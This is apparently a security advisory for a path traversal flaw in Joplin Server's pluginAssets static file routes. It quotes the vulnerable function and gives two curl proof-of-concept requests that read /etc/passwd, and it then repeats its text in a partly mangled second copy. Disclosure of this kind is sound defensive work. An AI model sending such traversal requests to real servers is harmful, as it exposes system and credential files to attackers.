Summary
Path traversal is possible in Joplin Server if static file path starts with css/pluginAssets or js/pluginAssets.
Details
The findLocalFile function in the default route calls localFileFromUrl to check for special pluginAssets paths. If the function returns a path, the result is returned directly, without checking for path traversal:
export async function localFileFromUrl(url: string): Promise<string> {
const cssPluginAssets = 'css/pluginAssets/';
const jsPluginAssets = 'js/pluginAssets/';
if (url.indexOf(cssPluginAssets) === 0) return `${pluginAssetRootDir_}/${url.substr(cssPluginAssets.length)}`;
if (url.indexOf(jsPluginAssets) === 0) return `${pluginAssetRootDir_}/${url.substr(jsPluginAssets.length)}`;
return null;
}
PoC
Tested with local docker installation.
curl --path-as-is http://localhost:22300/css/pluginAssets/../../../../../../../../etc/passwd
curl --path-as-is http://localhost:22300/js/pluginAssets/../../../../../../../../etc/passwd
The path is relative to /home/joplin/packages/server/node_modules/@joplin/renderer/assets.
Impact
The vulnerability allows attackers to read files outside the intended directories.
Summary
Path traversal is possible in Joplin Server if static file path starts with
css/pluginAssetsorjs/pluginAssets.Details
The
findLocalFilefunction in the default route callslocalFileFromUrlto check for specialpluginAssetspaths. If the function returns a path, the result is returned directly, without checking for path traversal:PoC
Tested with local docker installation.
The path is relative to
/home/joplin/packages/server/node_modules/@joplin/renderer/assets.Impact
The vulnerability allows attackers to read files outside the intended directories.